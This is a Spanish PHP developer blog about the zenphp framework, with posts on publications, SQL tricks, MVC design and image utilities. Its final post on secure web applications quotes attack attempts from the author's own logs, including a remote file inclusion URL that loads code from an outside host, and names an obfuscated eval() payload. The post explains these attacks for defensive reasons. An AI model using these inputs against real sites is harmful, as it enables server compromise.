Artículo en Novática sobre zenphp

He aparecido varias veces en esta revista con los proyectos que presenté en los concursos de software libre.

Como nunca he publicado mi artículo extendido sobre zenphp en la revista, aquí os muestro algunos detalles del mismo.

Tengo que decir que los editores de esta publicación son excelentes, tras varios correos fuimos depurando el artículo y gracias a su creatividad, concretamente de Llorenç Pagés (que actualemente trabaja para la misma empresa que uno de mis mejores amigos :D), fuimos elaborando el resultado del que os muestro una intro 🙂

está en la revista nº195 de Ati – Novática,página 58 (septiembre-octubre Año XXXIV), lo que se puede hacer con este framework está en mi web de presentaciones como programador php : Juan Belón

Más Documentación sobre Ingeniería del Software

He estado subiendo todos los documentos que tenía en la Forja a la web de SlideShare, además de algunas charlas que he presentado, iré subiendo conforme vaya haciendo nuevas.

Por ejemplo he subido una presentación llamada “Depurando Javascript con Firebug“:

e incluso la memoria del proyecto:

Si queréis mucha más información sobre Usabilidad y Arquitectura de la Información orientada a aplicaciones web, pasaros por la web Programador PHP.org.

Encontrar el equilibrio en las cosas pequeñas

Siendo detallista y equilibrado encontraremos que nuestro trabajo se ha convertido en algo sumamente sencillo de mantener.

El caso más fundamental de lo que estoy hablando es cuando un cliente nos pide un nuevo cambio que requiere modificar, en este caso añadir un campo nuevo de imagen de miniatura a una tabla de noticias y,bien, ahora tenemos que añadirlo en la interfaz de administración además de en la BD y en el cliente que habíamos escrito…

Sabemos que podemos implementar la lógica de administración fácilmente haciendo copio y pego de la parte del formulario de edición de la noticia cambiando el nombre por el del campo de la imagen ,guardado de ficheros, procesamiento de imágenes “thumbs” , etc.

Lo que debemos recordar es que podemos encontrar el equilibrio en el funcionamiento por medio de las sentencias IF de SQL, de modo que si ya teníamos un campo imagen y ahora lo que necesitamos es mostrar una miniatura pero no queremos cambiar el resto, simplemente modificamos la línea en la que se nombran los campos para realizar las operaciones de la siguiente forma:

si antes se hacia un “Select imagen from noticias” ,ahora sólo tenemos que cambiar “imagen” por

IF(miniatura=”,imagen,miniatura) as imagen

de forma que el resto de la lógica del programa se mantiene intacta, sólo hemos hecho un cambio más las operaciones básicas para administrar los datos con el campo 😉

Ahora sólo queda relajarse sabiendo que todo funciona sin quebrarnos demasiado la cabeza jeje

Howto: filtrar datos de forma avanzada pero pensando como un principiante

En principio, parece que el título del post es algo de lo más paradójico, pero nada más lejos de la realidad, en zenphp siempre hay un Joker, y éstos son los trucos que enseño en este blog, triquiñuelas rápidas y complejas pero fáciles de entender y modificar en poco tiempo.

Continue reading

Detalles del Modelo Visualizador VS MVC

Acabo de estar mirando el nuevo modelo de datos de Joomla 1.5 junto con su controladores y vistas…es interesante sin embargo complicado y necesitas tener el manual cerca (a “mano” :D) porque no sabes nada de nada al estar dentro de una vista…si estás en una vista tipo “blog” de una categoría, cómo puedes conseguir la sección a la que pertenece? En algunos foros se discute el tema, acabando por hacer un nuevo y completo módulo o extensión también llamado para cubrir las necesidades…sólo por necesitar un identificador? …como veis parece absurdo tener una división que no te da libertad y crea más confusión…

En zenphp está el modelo de datos donde están todos los datos que está comunicado con punteros con el resto de modelos de la aplicación y por otro lado está, asociado al modelo ,el visualizador, nunca perdemos nada de vista y todo es parametrizable y accesible fácilmente, casi no tenemos ni que usar el manual o la documentación…veis la pauta? notais la diferencia? ahi radica la potencia de hacer algo simple y que funciona…

Saludos!

Automatizando procesos de imágenes

Normalmente, cuando subimos una imagen lo primero que necesitamos es redimensionarla, para ello he añadido una librería, tengo el soporte de BMP hecho pero no lo considero relevante, al menos no tanto como el de JPEG,PNG y GIF, fundamentales en la web que si vienen con la clase…:)

Un ejemplo se puede ver en la misma clase.

Más sencillo no se puede oiga! 😉

Más Extras para completar zenphp:VCard y DHTML Calendar

Como he visto que faltaban algunas cuestiones extras, las he añadido:

Una captura:

Espero que os sirvan, como siempre 🙂

Expandiendo zenphp a los medios

Para expandir zenphp escribo artículos donde tan sólo explico lo que los programadores necesitan, se hace más fácil de leer si no son muy largos y está escrito de forma que es comprensible independientemente del nivel que tenga el lector,…o al menos se intenta 😀

El último artículo que he escrito va sobre cadenas de texto y expresiones regulares, muchas comunidades suelen tener cientos de preguntas ,donde se repiten muy a menudo los temas, con estos pequeños tutoriales se pretende ahorrar horas de conversaciones y preguntas/respuestas que por bien que estén necesitan un tiempo para ser publicados y completados.

Tener en cuenta todos los casos es fundamental, para hacerlo me ayudo de los libros que voy encontrando, la mayoría están en inglés y a veces me sorprendo a mi mismo leyendo y escuchando cosas en este idioma, como si fuera español, aunque no me vuelvo a plantear si el framework debería estar en inglés, me parece bien como está 🙂

Aplicaciones web seguras

Escribí hace algún tiempo un artículo donde explicaba el problema de que se diera mucho a conocer un software hasta que mucha gente lo usara ,comentándolo públicamente…y por qué existe un riesgo mayor mientras más fama tenga…
He encontrado indicios de intentos de explotación de agujeros de distinta índole en los logs de este blog, aquí teneis ejemplos de lo que se pretende hacer…

¡¡Lanzamiento de caña!!

  • Con la siguiente dirección:
    home.php?section=http://www.backbreakacres.com/22/test.txt??
    se pretende inyectar un ataque con una línea de ejecución de comando de consola, detectando previamente el sistema operativo para lanzar un servicio de red…para ello se necesita comprobar si el parámetro safe_mode de PHP está activado…algo relativamente sencillo que puede ser testeado rápidamente y tiene grabes consecuencias
  • Por medio del siguiente ataque
    URL%20http://yoshishome.chat.ru/images se intenta engañar a un controlador de una aplicación web
    con la aspiración ni más ni menos que de insertar todo un conjunto de órdenes en una cadena que está ofuscada y encriptada para que los analizadores de código no encuentren ninguna linea u orden sospechosa en tiempo de ejecución, recordemos el peligro de la función eval() de PHP…
  • Técnicas raras usando métodos que concatenan dirección tras dirección con parámetros ++GET para engañar al analizador de .htaccess de Apache y conseguir descargar ficheros ,etc.

A esto se ha de añadir otros tipos de ataque como las inyecciones de SQL en los formularios, modificación de cookies de sesión, des-habilitación de JavaScript, antes,mientras y tras la carga de una web, alteración del envío de una petición por métodos POST y GET, aprovechar vulnerabilidades conocidas en general de PHP, como la escritura de ficheros y ataques XSS…etc.
Por eso, un buen framework ha de pensar en estas cosas tan importantes y dar soluciones a la altura, en mi caso,he propuesto algunas…y están implementadas de forma transparente.
Si no teníamos suficiente con diseñar las webs para cada tipo de navegador (y S.O.) además tenemos que estar atentos a los ataques del exterior, jeje